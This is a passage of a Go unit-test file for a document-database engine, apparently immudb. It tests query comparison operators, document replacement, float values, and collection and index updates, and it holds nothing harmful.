\"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(10),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 10)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, count)\n\t})\n\n\tt.Run(\"test query with <= operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(9),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 10)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, count)\n\t})\n\n\tt.Run(\"test query with > operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 10)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 5)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 5, count)\n\t})\n\n\tt.Run(\"test query with >= operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(10),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 10)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 1)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 1, count)\n\t})\n\n\tt.Run(\"test group query with != operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NE,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"country-1\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 10)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 9)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 9, count)\n\t})\n\n\tt.Run(\"test group query with < operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 10)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 5)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 5, count)\n\t})\n\n\tt.Run(\"query should fail with invalid field name\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"1invalidFieldName\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\t})\n\n\tt.Run(\"query should fail with unexistent field\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode1\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_LT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\t_, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.ErrorIs(t, err, ErrFieldDoesNotExist)\n\t})\n\n\tt.Run(\"test group query with > operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"country\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GT,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"country-1\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GT,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(5),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 10)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 5)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 5, count)\n\t})\n\n\tt.Run(\"test group query with IS NULL operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNullValue(),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 1)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 1, count)\n\t})\n\n\tt.Run(\"test group query with IS NOT NULL operator\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_NE,\n\t\t\t\t\t\t\tValue:    structpb.NewNullValue(),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tdocs, err := reader.ReadN(ctx, 11)\n\t\trequire.ErrorIs(t, err, ErrNoMoreDocuments)\n\t\trequire.Len(t, docs, 10)\n\n\t\tcount, err := engine.CountDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, count)\n\t})\n}\n\nfunc TestDocumentUpdate(t *testing.T) {\n\t// Create a new engine instance\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\t// Create a test collection with a single document\n\tcollectionName := \"test_collection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"age\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"name\"}},\n\t\t\t{Fields: []string{\"age\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\ttxID, docID, err := engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"name\": structpb.NewStringValue(\"Alice\"),\n\t\t\t\"age\":  structpb.NewNumberValue(30),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"update document should pass without docID\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"name\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"age\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(30),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\trevisions, err := engine.ReplaceDocuments(ctx, \"admin\", query, &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"name\": structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\"age\":  structpb.NewNumberValue(31),\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\t// Check that the method returned the expected values\n\t\trequire.Len(t, revisions, 1)\n\n\t\trequire.Equal(t, txID+1, revisions[0].TransactionId)\n\t\trequire.Equal(t, docID.EncodeToHexString(), revisions[0].DocumentId)\n\t\trequire.EqualValues(t, 2, revisions[0].Revision)\n\n\t\t// Verify that the document was updated\n\t\tquery = &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"name\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"age\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(31),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\treader, err := engine.GetDocuments(ctx, query, 0)\n\t\trequire.NoError(t, err)\n\t\tdefer reader.Close()\n\n\t\tupdatedDoc, err := reader.Read(ctx)\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 31, updatedDoc.Document.Fields[\"age\"].GetNumberValue())\n\t\trequire.Equal(t, docID.EncodeToHexString(), updatedDoc.Document.Fields[DefaultDocumentIDField].GetStringValue())\n\t})\n\n\tt.Run(\"update document should fail when no document is found\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"name\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"Bob\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\ttoUpdateDoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"name\": structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\"age\":  structpb.NewNumberValue(32),\n\t\t\t},\n\t\t}\n\n\t\t// Test error case when no documents are found\n\t\trevisions, err := engine.ReplaceDocuments(ctx, \"admin\", query, toUpdateDoc)\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, revisions)\n\t})\n\n\tt.Run(\"update document should fail with a different docID\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"name\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\ttoUpdateDoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\tDefaultDocumentIDField: structpb.NewStringValue(\"1234\"),\n\t\t\t\t\"name\":                 structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\"age\":                  structpb.NewNumberValue(31),\n\t\t\t},\n\t\t}\n\n\t\trevisions, err := engine.ReplaceDocuments(ctx, \"admin\", query, toUpdateDoc)\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, revisions)\n\t})\n\n\tt.Run(\"replace document with invalid arguments should fail\", func(t *testing.T) {\n\t\t_, err := engine.ReplaceDocuments(ctx, \"admin\", nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"replace document with invalid collection name should fail\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: \"1invalidCollectionName\",\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"name\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\ttoUpdateDoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\tDefaultDocumentIDField: structpb.NewStringValue(\"1234\"),\n\t\t\t\t\"name\":                 structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\"age\":                  structpb.NewNumberValue(31),\n\t\t\t},\n\t\t}\n\n\t\t_, err := engine.ReplaceDocuments(ctx, \"admin\", query, toUpdateDoc)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"replace document with empty document should succeed\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"age\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(31),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\trevisions, err := engine.ReplaceDocuments(ctx, \"admin\", query, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, revisions, 1)\n\t})\n\n\tt.Run(\"replace document with query without expressions should succeed\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions:    []*protomodel.QueryExpression{},\n\t\t}\n\n\t\ttoUpdateDoc := &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\tDefaultDocumentIDField: structpb.NewStringValue(docID.EncodeToHexString()),\n\t\t\t\t\"name\":                 structpb.NewStringValue(\"Alice\"),\n\t\t\t\t\"age\":                  structpb.NewNumberValue(32),\n\t\t\t},\n\t\t}\n\n\t\trevisions, err := engine.ReplaceDocuments(ctx, \"admin\", query, toUpdateDoc)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, revisions, 1)\n\t})\n}\n\nfunc TestFloatSupport(t *testing.T) {\n\tctx := context.Background()\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"number\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add document to collection\n\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\tFields: map[string]*structpb.Value{\n\t\t\t\"number\": structpb.NewNumberValue(3.1),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t// query document\n\tquery := &protomodel.Query{\n\t\tCollectionName: collectionName,\n\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    \"number\",\n\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\tValue:    structpb.NewNumberValue(3.1),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// check if document is updated\n\treader, err := engine.GetDocuments(ctx, query, 0)\n\trequire.NoError(t, err)\n\tdefer reader.Close()\n\n\tdoc, err := reader.Read(ctx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 3.1, doc.Document.Fields[\"number\"].GetNumberValue())\n}\n\nfunc TestDeleteCollection(t *testing.T) {\n\tengine := makeEngine(t)\n\n\t// create collection\n\tcollectionName := \"mycollection\"\n\n\terr := engine.CreateCollection(\n\t\tcontext.Background(),\n\t\t\"admin\",\n\t\tcollectionName,\n\t\t\"\",\n\t\t[]*protomodel.Field{\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\t[]*protomodel.Index{\n\t\t\t{Fields: []string{\"number\"}},\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\t// add documents to collection\n\tfor i := 1.0; i <= 10; i++ {\n\t\t_, _, err = engine.InsertDocument(context.Background(), \"admin\", collectionName, &structpb.Struct{\n\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\"number\": structpb.NewNumberValue(i),\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"delete collection and check if it is empty\", func(t *testing.T) {\n\t\terr = engine.DeleteCollection(context.Background(), \"admin\", collectionName)\n\t\trequire.NoError(t, err)\n\n\t\tcollectionList, err := engine.GetCollections(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, collectionList)\n\t})\n}\n\nfunc TestUpdateCollection(t *testing.T) {\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\tt.Run(\"create collection and add index\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t\t{Fields: []string{\"name\"}},\n\t\t\t\t{Fields: []string{\"country\"}},\n\t\t\t\t{Fields: []string{\"pin\"}},\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"update collection should fail with invalid collection name\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t\"\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"update collection should fail with unexistent collection name\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"unexistentCollectionName\",\n\t\t\t\"\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrCollectionDoesNotExist)\n\t})\n\n\tt.Run(\"update collection should fail with invalid id field name\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"document\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n\n\tt.Run(\"update collection by deleting indexes\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, DefaultDocumentIDField, collection.DocumentIdFieldName)\n\t\trequire.Len(t, collection.Indexes, 5)\n\t})\n\n\tt.Run(\"update collection by adding changing documentIdFieldName\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"_docid\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcollection, err := engine.GetCollection(context.Background(), collectionName)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"_docid\", collection.DocumentIdFieldName)\n\t\trequire.Len(t, collection.Indexes, 5)\n\t})\n\n\tt.Run(\"update collection with invalid id field name\", func(t *testing.T) {\n\t\terr := engine.UpdateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"document\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrReservedName)\n\t})\n}\n\nfunc TestCollectionUpdateWithDeletedIndex(t *testing.T) {\n\tengine := makeEngine(t)\n\n\tcollectionName := \"mycollection\"\n\n\tt.Run(\"create collection and add index\", func(t *testing.T) {\n\t\terr := engine.CreateCollection(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"\",\n\t\t\t[]*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_DOUBLE},\n\t\t\t\t{Name: \"title\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"comment\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t\t[]*protomodel.Index{\n\t\t\t\t{Fields: []string{\"number\"}},\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"create index with invalid collection name should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t[]string{},\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"create index with no fields should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{},\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"create index with invalid field name should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"1invalidFieldName\"},\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"create index with unexistent field name should fail\", func(t *testing.T) {\n\t\t// update collection\n\t\terr := engine.CreateIndex(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t[]string{\"unexistentFieldName\"},\n\t\t\tfalse,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrFieldDoesNotExist)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t\"comment\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"1invalidFieldName\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\terr = engine.RemoveField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\tcollectionName,\n\t\t\t\"unexistentFieldName\",\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrFieldDoesNotExist)\n\t})\n\n\tt.Run(\"adding invalid field should fail\", func(t *testing.T) {\n\t\terr := engine.AddField(\n\t\t\tcontext.Background(),\n\t\t\t\"admin\",\n\t\t\t\"1invalidCollectionName\",\n\t\t\t&protomodel.Field{\n\t\t\t\tName: \"newFieldName\",\n\t\t\t\tType: protomodel.FieldType_INTEGER,\n\t\t\t},\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\terr = 